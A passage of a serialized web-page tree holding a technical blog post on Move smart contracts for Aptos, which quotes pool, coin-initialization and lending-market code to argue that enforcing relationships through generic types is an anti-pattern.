LP>(pool_addr);\n",[19320],{"type":25,"tag":264,"props":19321,"children":19322},{"__ignoreMap":7},[19323,19362,19383,19411,19439,19490,19498,19505],{"type":25,"tag":271,"props":19324,"children":19325},{"class":13593,"line":13594},[19326,19331,19336,19341,19345,19349,19353,19357],{"type":25,"tag":271,"props":19327,"children":19328},{"style":13598},[19329],{"type":30,"value":19330},"      public",{"type":25,"tag":271,"props":19332,"children":19333},{"style":13598},[19334],{"type":30,"value":19335}," fun",{"type":25,"tag":271,"props":19337,"children":19338},{"style":13598},[19339],{"type":30,"value":19340}," mint",{"type":25,"tag":271,"props":19342,"children":19343},{"style":13625},[19344],{"type":30,"value":14307},{"type":25,"tag":271,"props":19346,"children":19347},{"style":13609},[19348],{"type":30,"value":419},{"type":25,"tag":271,"props":19350,"children":19351},{"style":13625},[19352],{"type":30,"value":44},{"type":25,"tag":271,"props":19354,"children":19355},{"style":13609},[19356],{"type":30,"value":469},{"type":25,"tag":271,"props":19358,"children":19359},{"style":13625},[19360],{"type":30,"value":19361},", LP>(\n",{"type":25,"tag":271,"props":19363,"children":19364},{"class":13593,"line":11641},[19365,19370,19374,19379],{"type":25,"tag":271,"props":19366,"children":19367},{"style":13598},[19368],{"type":30,"value":19369},"          pool_addr",{"type":25,"tag":271,"props":19371,"children":19372},{"style":13603},[19373],{"type":30,"value":359},{"type":25,"tag":271,"props":19375,"children":19376},{"style":13598},[19377],{"type":30,"value":19378}," address",{"type":25,"tag":271,"props":19380,"children":19381},{"style":13625},[19382],{"type":30,"value":14351},{"type":25,"tag":271,"props":19384,"children":19385},{"class":13593,"line":14354},[19386,19391,19395,19399,19403,19407],{"type":25,"tag":271,"props":19387,"children":19388},{"style":13598},[19389],{"type":30,"value":19390},"          coin_x",{"type":25,"tag":271,"props":19392,"children":19393},{"style":13603},[19394],{"type":30,"value":359},{"type":25,"tag":271,"props":19396,"children":19397},{"style":13609},[19398],{"type":30,"value":18933},{"type":25,"tag":271,"props":19400,"children":19401},{"style":13625},[19402],{"type":30,"value":14307},{"type":25,"tag":271,"props":19404,"children":19405},{"style":13609},[19406],{"type":30,"value":419},{"type":25,"tag":271,"props":19408,"children":19409},{"style":13625},[19410],{"type":30,"value":19267},{"type":25,"tag":271,"props":19412,"children":19413},{"class":13593,"line":14391},[19414,19419,19423,19427,19431,19435],{"type":25,"tag":271,"props":19415,"children":19416},{"style":13598},[19417],{"type":30,"value":19418},"          coin_y",{"type":25,"tag":271,"props":19420,"children":19421},{"style":13603},[19422],{"type":30,"value":359},{"type":25,"tag":271,"props":19424,"children":19425},{"style":13609},[19426],{"type":30,"value":18933},{"type":25,"tag":271,"props":19428,"children":19429},{"style":13625},[19430],{"type":30,"value":14307},{"type":25,"tag":271,"props":19432,"children":19433},{"style":13609},[19434],{"type":30,"value":469},{"type":25,"tag":271,"props":19436,"children":19437},{"style":13625},[19438],{"type":30,"value":14448},{"type":25,"tag":271,"props":19440,"children":19441},{"class":13593,"line":14400},[19442,19447,19451,19455,19459,19464,19468,19473,19477,19481,19486],{"type":25,"tag":271,"props":19443,"children":19444},{"style":13625},[19445],{"type":30,"value":19446},"      )",{"type":25,"tag":271,"props":19448,"children":19449},{"style":13603},[19450],{"type":30,"value":359},{"type":25,"tag":271,"props":19452,"children":19453},{"style":13609},[19454],{"type":30,"value":18933},{"type":25,"tag":271,"props":19456,"children":19457},{"style":13625},[19458],{"type":30,"value":14307},{"type":25,"tag":271,"props":19460,"children":19461},{"style":13609},[19462],{"type":30,"value":19463},"LP",{"type":25,"tag":271,"props":19465,"children":19466},{"style":13625},[19467],{"type":30,"value":18952},{"type":25,"tag":271,"props":19469,"children":19470},{"style":13598},[19471],{"type":30,"value":19472},"acquires",{"type":25,"tag":271,"props":19474,"children":19475},{"style":13609},[19476],{"type":30,"value":19187},{"type":25,"tag":271,"props":19478,"children":19479},{"style":13625},[19480],{"type":30,"value":44},{"type":25,"tag":271,"props":19482,"children":19483},{"style":13609},[19484],{"type":30,"value":19485},"EventsStore",{"type":25,"tag":271,"props":19487,"children":19488},{"style":13625},[19489],{"type":30,"value":16431},{"type":25,"tag":271,"props":19491,"children":19492},{"class":13593,"line":16406},[19493],{"type":25,"tag":271,"props":19494,"children":19495},{"style":14385},[19496],{"type":30,"value":19497},"          // ...\n",{"type":25,"tag":271,"props":19499,"children":19500},{"class":13593,"line":16434},[19501],{"type":25,"tag":271,"props":19502,"children":19503},{"emptyLinePlaceholder":18},[19504],{"type":30,"value":16829},{"type":25,"tag":271,"props":19506,"children":19507},{"class":13593,"line":16447},[19508,19513,19517,19522,19526,19531,19535,19539,19544,19548,19552,19556,19560,19565,19570],{"type":25,"tag":271,"props":19509,"children":19510},{"style":14289},[19511],{"type":30,"value":19512},"          let",{"type":25,"tag":271,"props":19514,"children":19515},{"style":13625},[19516],{"type":30,"value":16213},{"type":25,"tag":271,"props":19518,"children":19519},{"style":13598},[19520],{"type":30,"value":19521},"x_reserve_size",{"type":25,"tag":271,"props":19523,"children":19524},{"style":13625},[19525],{"type":30,"value":44},{"type":25,"tag":271,"props":19527,"children":19528},{"style":13598},[19529],{"type":30,"value":19530},"y_reserve_size",{"type":25,"tag":271,"props":19532,"children":19533},{"style":13625},[19534],{"type":30,"value":14406},{"type":25,"tag":271,"props":19536,"children":19537},{"style":13603},[19538],{"type":30,"value":1065},{"type":25,"tag":271,"props":19540,"children":19541},{"style":13598},[19542],{"type":30,"value":19543}," get_reserves_size",{"type":25,"tag":271,"props":19545,"children":19546},{"style":13625},[19547],{"type":30,"value":14307},{"type":25,"tag":271,"props":19549,"children":19550},{"style":13609},[19551],{"type":30,"value":419},{"type":25,"tag":271,"props":19553,"children":19554},{"style":13625},[19555],{"type":30,"value":44},{"type":25,"tag":271,"props":19557,"children":19558},{"style":13609},[19559],{"type":30,"value":469},{"type":25,"tag":271,"props":19561,"children":19562},{"style":13625},[19563],{"type":30,"value":19564},", LP>(",{"type":25,"tag":271,"props":19566,"children":19567},{"style":13598},[19568],{"type":30,"value":19569},"pool_addr",{"type":25,"tag":271,"props":19571,"children":19572},{"style":13625},[19573],{"type":30,"value":13665},{"type":25,"tag":26,"props":19575,"children":19576},{},[19577,19579,19585,19586,19593],{"type":30,"value":19578},"As an aside, this generic type information is implemented at runtime in the ",{"type":25,"tag":264,"props":19580,"children":19582},{"className":19581},[],[19583],{"type":30,"value":19584},"ty_args",{"type":30,"value":14096},{"type":25,"tag":83,"props":19587,"children":19590},{"href":19588,"rel":19589},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[9066],[19591],{"type":30,"value":19592},"at the vm level",{"type":30,"value":19594},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":25,"tag":26,"props":19596,"children":19597},{},[19598,19600,19606,19608,19614,19615,19621,19622,19628],{"type":30,"value":19599},"In pseucode, this checks that ",{"type":25,"tag":264,"props":19601,"children":19603},{"className":19602},[],[19604],{"type":30,"value":19605},"coin_x.type",{"type":30,"value":19607}," is equal to ",{"type":25,"tag":264,"props":19609,"children":19611},{"className":19610},[],[19612],{"type":30,"value":19613},"pool.x_type",{"type":30,"value":69},{"type":25,"tag":264,"props":19616,"children":19618},{"className":19617},[],[19619],{"type":30,"value":19620},"coin_y.type",{"type":30,"value":19607},{"type":25,"tag":264,"props":19623,"children":19625},{"className":19624},[],[19626],{"type":30,"value":19627},"pool.y_type",{"type":30,"value":1860},{"type":25,"tag":26,"props":19630,"children":19631},{},[19632],{"type":30,"value":19633},"This type system has two advantages",{"type":25,"tag":661,"props":19635,"children":19636},{},[19637,19648],{"type":25,"tag":112,"props":19638,"children":19639},{},[19640,19642,19646],{"type":30,"value":19641},"It's required. The type parameter ",{"type":25,"tag":10281,"props":19643,"children":19644},{},[19645],{"type":30,"value":755},{"type":30,"value":19647}," be specified so it's impossible to forget such a constraint",{"type":25,"tag":112,"props":19649,"children":19650},{},[19651],{"type":30,"value":19652},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":25,"tag":26,"props":19654,"children":19655},{},[19656],{"type":30,"value":19657},"However, this system isn't perfect.",{"type":25,"tag":26,"props":19659,"children":19660},{},[19661,19663,19668],{"type":30,"value":19662},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":25,"tag":38,"props":19664,"children":19665},{},[19666],{"type":30,"value":19667},"an anti-pattern",{"type":30,"value":1860},{"type":25,"tag":26,"props":19670,"children":19671},{},[19672,19674,19680],{"type":30,"value":19673},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":25,"tag":264,"props":19675,"children":19677},{"className":19676},[],[19678],{"type":30,"value":19679},"CoinInfo\u003CCoinType>",{"type":30,"value":1860},{"type":25,"tag":7764,"props":19682,"children":19684},{"className":13586,"code":19683,"language":13585,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[19685],{"type":25,"tag":264,"props":19686,"children":19687},{"__ignoreMap":7},[19688,19714,19722,19790,19797,19804,19816,19861,19883],{"type":25,"tag":271,"props":19689,"children":19690},{"class":13593,"line":13594},[19691,19696,19701,19705,19710],{"type":25,"tag":271,"props":19692,"children":19693},{"style":13598},[19694],{"type":30,"value":19695},"  fun",{"type":25,"tag":271,"props":19697,"children":19698},{"style":13598},[19699],{"type":30,"value":19700}," initialize_internal",{"type":25,"tag":271,"props":19702,"children":19703},{"style":13625},[19704],{"type":30,"value":14307},{"type":25,"tag":271,"props":19706,"children":19707},{"style":13609},[19708],{"type":30,"value":19709},"CoinType",{"type":25,"tag":271,"props":19711,"children":19712},{"style":13625},[19713],{"type":30,"value":14324},{"type":25,"tag":271,"props":19715,"children":19716},{"class":13593,"line":11641},[19717],{"type":25,"tag":271,"props":19718,"children":19719},{"style":14385},[19720],{"type":30,"value":19721},"      // ...\n",{"type":25,"tag":271,"props":19723,"children":19724},{"class":13593,"line":14354},[19725,19730,19734,19738,19743,19747,19751,19755,19760,19764,19768,19772,19777,19781,19785],{"type":25,"tag":271,"props":19726,"children":19727},{"style":13625},[19728],{"type":30,"value":19729},"  )",{"type":25,"tag":271,"props":19731,"children":19732},{"style":13603},[19733],{"type":30,"value":359},{"type":25,"tag":271,"props":19735,"children":19736},{"style":13625},[19737],{"type":30,"value":16213},{"type":25,"tag":271,"props":19739,"children":19740},{"style":13609},[19741],{"type":30,"value":19742},"BurnCapability",{"type":25,"tag":271,"props":19744,"children":19745},{"style":13625},[19746],{"type":30,"value":14307},{"type":25,"tag":271,"props":19748,"children":19749},{"style":13609},[19750],{"type":30,"value":19709},{"type":25,"tag":271,"props":19752,"children":19753},{"style":13625},[19754],{"type":30,"value":14438},{"type":25,"tag":271,"props":19756,"children":19757},{"style":13609},[19758],{"type":30,"value":19759},"FreezeCapability",{"type":25,"tag":271,"props":19761,"children":19762},{"style":13625},[19763],{"type":30,"value":14307},{"type":25,"tag":271,"props":19765,"children":19766},{"style":13609},[19767],{"type":30,"value":19709},{"type":25,"tag":271,"props":19769,"children":19770},{"style":13625},[19771],{"type":30,"value":14438},{"type":25,"tag":271,"props":19773,"children":19774},{"style":13609},[19775],{"type":30,"value":19776},"MintCapability",{"type":25,"tag":271,"props":19778,"children":19779},{"style":13625},[19780],{"type":30,"value":14307},{"type":25,"tag":271,"props":19782,"children":19783},{"style":13609},[19784],{"type":30,"value":19709},{"type":25,"tag":271,"props":19786,"children":19787},{"style":13625},[19788],{"type":30,"value":19789},">) {\n",{"type":25,"tag":271,"props":19791,"children":19792},{"class":13593,"line":14391},[19793],{"type":25,"tag":271,"props":19794,"children":19795},{"style":14385},[19796],{"type":30,"value":19721},{"type":25,"tag":271,"props":19798,"children":19799},{"class":13593,"line":14400},[19800],{"type":25,"tag":271,"props":19801,"children":19802},{"emptyLinePlaceholder":18},[19803],{"type":30,"value":16829},{"type":25,"tag":271,"props":19805,"children":19806},{"class":13593,"line":16406},[19807,19812],{"type":25,"tag":271,"props":19808,"children":19809},{"style":13620},[19810],{"type":30,"value":19811},"      assert!",{"type":25,"tag":271,"props":19813,"children":19814},{"style":13625},[19815],{"type":30,"value":16609},{"type":25,"tag":271,"props":19817,"children":19818},{"class":13593,"line":16434},[19819,19824,19829,19833,19838,19842,19846,19851,19856],{"type":25,"tag":271,"props":19820,"children":19821},{"style":13603},[19822],{"type":30,"value":19823},"          !",{"type":25,"tag":271,"props":19825,"children":19826},{"style":13598},[19827],{"type":30,"value":19828},"exists",{"type":25,"tag":271,"props":19830,"children":19831},{"style":13625},[19832],{"type":30,"value":14307},{"type":25,"tag":271,"props":19834,"children":19835},{"style":13609},[19836],{"type":30,"value":19837},"CoinInfo",{"type":25,"tag":271,"props":19839,"children":19840},{"style":13625},[19841],{"type":30,"value":14307},{"type":25,"tag":271,"props":19843,"children":19844},{"style":13609},[19845],{"type":30,"value":19709},{"type":25,"tag":271,"props":19847,"children":19848},{"style":13625},[19849],{"type":30,"value":19850},">>(",{"type":25,"tag":271,"props":19852,"children":19853},{"style":13598},[19854],{"type":30,"value":19855},"account_addr",{"type":25,"tag":271,"props":19857,"children":19858},{"style":13625},[19859],{"type":30,"value":19860},"),\n",{"type":25,"tag":271,"props":19862,"children":19863},{"class":13593,"line":16447},[19864,19869,19873,19878],{"type":25,"tag":271,"props":19865,"children":19866},{"style":13625},[19867],{"type":30,"value":19868},"          error",{"type":25,"tag":271,"props":19870,"children":19871},{"style":13603},[19872],{"type":30,"value":13617},{"type":25,"tag":271,"props":19874,"children":19875},{"style":13620},[19876],{"type":30,"value":19877},"already_exists",{"type":25,"tag":271,"props":19879,"children":19880},{"style":13625},[19881],{"type":30,"value":19882},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":25,"tag":271,"props":19884,"children":19885},{"class":13593,"line":16465},[19886],{"type":25,"tag":271,"props":19887,"children":19888},{"style":13625},[19889],{"type":30,"value":19890},"      );\n",{"type":25,"tag":26,"props":19892,"children":19893},{},[19894,19896,19901],{"type":30,"value":19895},"While this ",{"type":25,"tag":264,"props":19897,"children":19899},{"className":19898},[],[19900],{"type":30,"value":19837},{"type":30,"value":19902}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":25,"tag":26,"props":19904,"children":19905},{},[19906,19908,19915],{"type":30,"value":19907},"Similarly, consider ",{"type":25,"tag":83,"props":19909,"children":19912},{"href":19910,"rel":19911},"https://ariesmarkets.xyz/",[9066],[19913],{"type":30,"value":19914},"Aries Markets",{"type":30,"value":19916},", a lending/borrowing protocol building on Aptos.",{"type":25,"tag":26,"props":19918,"children":19919},{},[19920,19922,19928],{"type":30,"value":19921},"Their ",{"type":25,"tag":264,"props":19923,"children":19925},{"className":19924},[],[19926],{"type":30,"value":19927},"ReserveCoinContainer",{"type":30,"value":19929}," struct stores all the relevant data and resources for managing a lending market.",{"type":25,"tag":7764,"props":19931,"children":19933},{"className":13586,"code":19932,"language":13585,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[19934],{"type":25,"tag":264,"props":19935,"children":19936},{"__ignoreMap":7},[19937,19945,19953,19994,20002,20031,20039,20076,20084,20121,20129,20166,20173,20180],{"type":25,"tag":271,"props":19938,"children":19939},{"class":13593,"line":13594},[19940],{"type":25,"tag":271,"props":19941,"children":19942},{"style":14385},[19943],{"type":30,"value":19944},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":25,"tag":271,"props":19946,"children":19947},{"class":13593,"line":11641},[19948],{"type":25,"tag":271,"props":19949,"children":19950},{"style":14385},[19951],{"type":30,"value":19952},"  /// Stored as a resources.\n",{"type":25,"tag":271,"props":19954,"children":19955},{"class":13593,"line":14354},[19956,19960,19965,19969,19973,19978,19982,19986,19990],{"type":25,"tag":271,"props":19957,"children":19958},{"style":14289},[19959],{"type":30,"value":18928},{"type":25,"tag":271,"props":19961,"children":19962},{"style":13609},[19963],{"type":30,"value":19964}," ReserveCoinContainer",{"type":25,"tag":271,"props":19966,"children":19967},{"style":13625},[19968],{"type":30,"value":14307},{"type":25,"tag":271,"props":19970,"children":19971},{"style":13598},[19972],{"type":30,"value":18942},{"type":25,"tag":271,"props":19974,"children":19975},{"style":13609},[19976],{"type":30,"value":19977}," Coin0",{"type":25,"tag":271,"props":19979,"children":19980},{"style":13625},[19981],{"type":30,"value":18952},{"type":25,"tag":271,"props":19983,"children":19984},{"style":13598},[19985],{"type":30,"value":18957},{"type":25,"tag":271,"props":19987,"children":19988},{"style":13598},[19989],{"type":30,"value":19063},{"type":25,"tag":271,"props":19991,"children":19992},{"style":13625},[19993],{"type":30,"value":16431},{"type":25,"tag":271,"props":19995,"children":19996},{"class":13593,"line":14391},[19997],{"type":25,"tag":271,"props":19998,"children":19999},{"style":14385},[20000],{"type":30,"value":20001},"      /// Stores the available `Coin`.\n",{"type":25,"tag":271,"props":20003,"children":20004},{"class":13593,"line":14400},[20005,20010,20014,20018,20022,20027],{"type":25,"tag":271,"props":20006,"children":20007},{"style":13598},[20008],{"type":30,"value":20009},"      underlying_coin",{"type":25,"tag":271,"props":20011,"children":20012},{"style":13603},[20013],{"type":30,"value":359},{"type":25,"tag":271,"props":20015,"children":20016},{"style":13609},[20017],{"type":30,"value":18933},{"type":25,"tag":271,"props":20019,"children":20020},{"style":13625},[20021],{"type":30,"value":14307},{"type":25,"tag":271,"props":20023,"children":20024},{"style":13609},[20025],{"type":30,"value":20026},"Coin0",{"type":25,"tag":271,"props":20028,"children":20029},{"style":13625},[20030],{"type":30,"value":19267},{"type":25,"tag":271,"props":20032,"children":20033},{"class":13593,"line":16406},[20034],{"type":25,"tag":271,"props":20035,"children":20036},{"style":14385},[20037],{"type":30,"value":20038},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":25,"tag":271,"props":20040,"children":20041},{"class":13593,"line":16434},[20042,20047,20051,20055,20059,20063,20067,20071],{"type":25,"tag":271,"props":20043,"children":20044},{"style":13598},[20045],{"type":30,"value":20046},"      collateralised_lp_coin",{"type":25,"tag":271,"props":20048,"children":20049},{"style":13603},[20050],{"type":30,"value":359},{"type":25,"tag":271,"props":20052,"children":20053},{"style":13609},[20054],{"type":30,"value":18933},{"type":25,"tag":271,"props":20056,"children":20057},{"style":13625},[20058],{"type":30,"value":14307},{"type":25,"tag":271,"props":20060,"children":20061},{"style":13609},[20062],{"type":30,"value":19463},{"type":25,"tag":271,"props":20064,"children":20065},{"style":13625},[20066],{"type":30,"value":14307},{"type":25,"tag":271,"props":20068,"children":20069},{"style":13609},[20070],{"type":30,"value":20026},{"type":25,"tag":271,"props":20072,"children":20073},{"style":13625},[20074],{"type":30,"value":20075},">>,\n",{"type":25,"tag":271,"props":20077,"children":20078},{"class":13593,"line":16447},[20079],{"type":25,"tag":271,"props":20080,"children":20081},{"style":14385},[20082],{"type":30,"value":20083},"      /// Mint capability for LP Coin.\n",{"type":25,"tag":271,"props":20085,"children":20086},{"class":13593,"line":16465},[20087,20092,20096,20101,20105,20109,20113,20117],{"type":25,"tag":271,"props":20088,"children":20089},{"style":13598},[20090],{"type":30,"value":20091},"      mint_capability",{"type":25,"tag":271,"props":20093,"children":20094},{"style":13603},[20095],{"type":30,"value":359},{"type":25,"tag":271,"props":20097,"children":20098},{"style":13609},[20099],{"type":30,"value":20100}," MintCapability",{"type":25,"tag":271,"props":20102,"children":20103},{"style":13625},[20104],{"type":30,"value":14307},{"type":25,"tag":271,"props":20106,"children":20107},{"style":13609},[20108],{"type":30,"value":19463},{"type":25,"tag":271,"props":20110,"children":20111},{"style":13625},[20112],{"type":30,"value":14307},{"type":25,"tag":271,"props":20114,"children":20115},{"style":13609},[20116],{"type":30,"value":20026},{"type":25,"tag":271,"props":20118,"children":20119},{"style":13625},[20120],{"type":30,"value":20075},{"type":25,"tag":271,"props":20122,"children":20123},{"class":13593,"line":16486},[20124],{"type":25,"tag":271,"props":20125,"children":20126},{"style":14385},[20127],{"type":30,"value":20128},"      /// Burn capability for LP Coin.\n",{"type":25,"tag":271,"props":20130,"children":20131},{"class":13593,"line":16495},[20132,20137,20141,20146,20150,20154,20158,20162],{"type":25,"tag":271,"props":20133,"children":20134},{"style":13598},[20135],{"type":30,"value":20136},"      burn_capability",{"type":25,"tag":271,"props":20138,"children":20139},{"style":13603},[20140],{"type":30,"value":359},{"type":25,"tag":271,"props":20142,"children":20143},{"style":13609},[20144],{"type":30,"value":20145}," BurnCapability",{"type":25,"tag":271,"props":20147,"children":20148},{"style":13625},[20149],{"type":30,"value":14307},{"type":25,"tag":271,"props":20151,"children":20152},{"style":13609},[20153],{"type":30,"value":19463},{"type":25,"tag":271,"props":20155,"children":20156},{"style":13625},[20157],{"type":30,"value":14307},{"type":25,"tag":271,"props":20159,"children":20160},{"style":13609},[20161],{"type":30,"value":20026},{"type":25,"tag":271,"props":20163,"children":20164},{"style":13625},[20165],{"type":30,"value":20075},{"type":25,"tag":271,"props":20167,"children":20168},{"class":13593,"line":16744},[20169],{"type":25,"tag":271,"props":20170,"children":20171},{"emptyLinePlaceholder":18},[20172],{"type":30,"value":16829},{"type":25,"tag":271,"props":20174,"children":20175},{"class":13593,"line":16761},[20176],{"type":25,"tag":271,"props":20177,"children":20178},{"style":14385},[20179],{"type":30,"value":19721},{"type":25,"tag":271,"props":20181,"children":20182},{"class":13593,"line":16778},[20183],{"type":25,"tag":271,"props":20184,"children":20185},{"style":13625},[20186],{"type":30,"value":19003},{"type":25,"tag":26,"props":20188,"children":20189},{},[20190,20192,20197],{"type":30,"value":20191},"When creating a ",{"type":25,"tag":264,"props":20193,"children":20195},{"className":20194},[],[20196],{"type":30,"value":19927},{"type":30,"value":20198},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":25,"tag":7764,"props":20200,"children":20202},{"className":13586,"code":20201,"language":13585,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[20203],{"type":25,"tag":264,"props":20204,"children":20205},{"__ignoreMap":7},[20206,20249,20274,20281,20302,20347,20354,20361,20368,20405,20412],{"type":25,"tag":271,"props":20207,"children":20208},{"class":13593,"line":13594},[20209,20214,20218,20223,20227,20232,20237,20241,20245],{"type":25,"tag":271,"props":20210,"children":20211},{"style":13620},[20212],{"type":30,"value":20213},"  public",{"type":25,"tag":271,"props":20215,"children":20216},{"style":13625},[20217],{"type":30,"value":394},{"type":25,"tag":271,"props":20219,"children":20220},{"style":13598},[20221],{"type":30,"value":20222},"friend",{"type":25,"tag":271,"props":20224,"children":20225},{"style":13625},[20226],{"type":30,"value":14406},{"type":25,"tag":271,"props":20228,"children":20229},{"style":13598},[20230],{"type":30,"value":20231},"fun",{"type":25,"tag":271,"props":20233,"children":20234},{"style":13598},[20235],{"type":30,"value":20236}," create",{"type":25,"tag":271,"props":20238,"children":20239},{"style":13625},[20240],{"type":30,"value":14307},{"type":25,"tag":271,"props":20242,"children":20243},{"style":13609},[20244],{"type":30,"value":20026},{"type":25,"tag":271,"props":20246,"children":20247},{"style":13625},[20248],{"type":30,"value":14324},{"type":25,"tag":271,"props":20250,"children":20251},{"class":13593,"line":11641},[20252,20257,20261,20265,20270],{"type":25,"tag":271,"props":20253,"children":20254},{"style":13598},[20255],{"type":30,"value":20256},"      lp_store",{"type":25,"tag":271,"props":20258,"children":20259},{"style":13603},[20260],{"type":30,"value":359},{"type":25,"tag":271,"props":20262,"children":20263},{"style":13603},[20264],{"type":30,"value":14341},{"type":25,"tag":271,"props":20266,"children":20267},{"style":13598},[20268],{"type":30,"value":20269},"signer",{"type":25,"tag":271,"props":20271,"children":20272},{"style":13625},[20273],{"type":30,"value":14351},{"type":25,"tag":271,"props":20275,"children":20276},{"class":13593,"line":14354},[20277],{"type":25,"tag":271,"props":20278,"children":20279},{"style":14385},[20280],{"type":30,"value":19721},{"type":25,"tag":271,"props":20282,"children":20283},{"class":13593,"line":14391},[20284,20289,20293,20298],{"type":25,"tag":271,"props":20285,"children":20286},{"style":13625},[20287],{"type":30,"value":20288},"  ) ",{"type":25,"tag":271,"props":20290,"children":20291},{"style":13598},[20292],{"type":30,"value":19472},{"type":25,"tag":271,"props":20294,"children":20295},{"style":13609},[20296],{"type":30,"value":20297}," Reserves",{"type":25,"tag":271,"props":20299,"children":20300},{"style":13625},[20301],{"type":30,"value":16431},{"type":25,"tag":271,"props":20303,"children":20304},{"class":13593,"line":14400},[20305,20310,20314,20319,20324,20328,20333,20337,20342],{"type":25,"tag":271,"props":20306,"children":20307},{"style":13625},[20308],{"type":30,"value":20309},"      lp",{"type":25,"tag":271,"props":20311,"children":20312},{"style":13603},[20313],{"type":30,"value":13617},{"type":25,"tag":271,"props":20315,"children":20316},{"style":13620},[20317],{"type":30,"value":20318},"assert_is_lp_store",{"type":25,"tag":271,"props":20320,"children":20321},{"style":13625},[20322],{"type":30,"value":20323},"(signer",{"type":25,"tag":271,"props":20325,"children":20326},{"style":13603},[20327],{"type":30,"value":13617},{"type":25,"tag":271,"props":20329,"children":20330},{"style":13620},[20331],{"type":30,"value":20332},"address_of",{"type":25,"tag":271,"props":20334,"children":20335},{"style":13625},[20336],{"type":30,"value":394},{"type":25,"tag":271,"props":20338,"children":20339},{"style":13598},[20340],{"type":30,"value":20341},"lp_store",{"type":25,"tag":271,"props":20343,"children":20344},{"style":13625},[20345],{"type":30,"value":20346},"));\n",{"type":25,"tag":271,"props":20348,"children":20349},{"class":13593,"line":16406},[20350],{"type":25,"tag":271,"props":20351,"children":20352},{"emptyLinePlaceholder":18},[20353],{"type":30,"value":16829},{"type":25,"tag":271,"props":20355,"children":20356},{"class":13593,"line":16434},[20357],{"type":25,"tag":271,"props":20358,"children":20359},{"style":14385},[20360],{"type":30,"value":19721},{"type":25,"tag":271,"props":20362,"children":20363},{"class":13593,"line":16447},[20364],{"type":25,"tag":271,"props":20365,"children":20366},{"emptyLinePlaceholder":18},[20367],{"type":30,"value":16829},{"type":25,"tag":271,"props":20369,"children":20370},{"class":13593,"line":16465},[20371,20376,20380,20384,20388,20392,20396,20400],{"type":25,"tag":271,"props":20372,"children":20373},{"style":13620},[20374],{"type":30,"value":20375},"      move_to",{"type":25,"tag":271,"props":20377,"children":20378},{"style":13625},[20379],{"type":30,"value":394},{"type":25,"tag":271,"props":20381,"children":20382},{"style":13598},[20383],{"type":30,"value":20341},{"type":25,"tag":271,"props":20385,"children":20386},{"style":13625},[20387],{"type":30,"value":44},{"type":25,"tag":271,"props":20389,"children":20390},{"style":13609},[20391],{"type":30,"value":19927},{"type":25,"tag":271,"props":20393,"children":20394},{"style":13625},[20395],{"type":30,"value":14307},{"type":25,"tag":271,"props":20397,"children":20398},{"style":13609},[20399],{"type":30,"value":20026},{"type":25,"tag":271,"props":20401,"children":20402},{"style":13625},[20403],{"type":30,"value":20404},"> {\n",{"type":25,"tag":271,"props":20406,"children":20407},{"class":13593,"line":16486},[20408],{"type":25,"tag":271,"props":20409,"children":20410},{"style":14385},[20411],{"type":30,"value":19303},{"type":25,"tag":271,"props":20413,"children":20414},{"class":13593,"line":16495},[20415],{"type":25,"tag":271,"props":20416,"children":20417},{"style":13625},[20418],{"type":30,"value":20419},"      });\n",{"type":25,"tag":26,"props":20421,"children":20422},{},[20423],{"type":30,"value":20424},"In both these instances, type association only works because we create exactly one instance per type.",{"type":25,"tag":26,"props":20426,"children":20427},{},[20428,20430,20436,20438,20444,20446,20451],{"type":30,"value":20429},"On the other hand, consider if you have a ",{"type":25,"tag":264,"props":20431,"children":20433},{"className":20432},[],[20434],{"type":30,"value":20435},"Position\u003CT>",{"type":30,"value":20437}," and a ",{"type":25,"tag":264,"props":20439,"children":20441},{"className":20440},[],[20442],{"type":30,"value":20443},"Market\u003CT>",{"type":30,"value":20445}," where ",{"type":25,"tag":264,"props":20447,"children":20449},{"className":20448},[],[20450],{"type":30,"value":301},{"type":30,"value":20452}," is the coin type.",{"type":25,"tag":7764,"props":20454,"children":20456},{"className":13586,"code":20455,"language":13585,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[20457],{"type":25,"tag":264,"props":20458,"children":20459},{"__ignoreMap":7},[20460,20488,20516,20523,20530,20537,20565,20585,20592],{"type":25,"tag":271,"props":20461,"children":20462},{"class":13593,"line":13594},[20463,20467,20472,20476,20480,20484],{"type":25,"tag":271,"props":20464,"children":20465},{"style":14289},[20466],{"type":30,"value":19182},{"type":25,"tag":271,"props":20468,"children":20469},{"style":13609},[20470],{"type":30,"value":20471}," 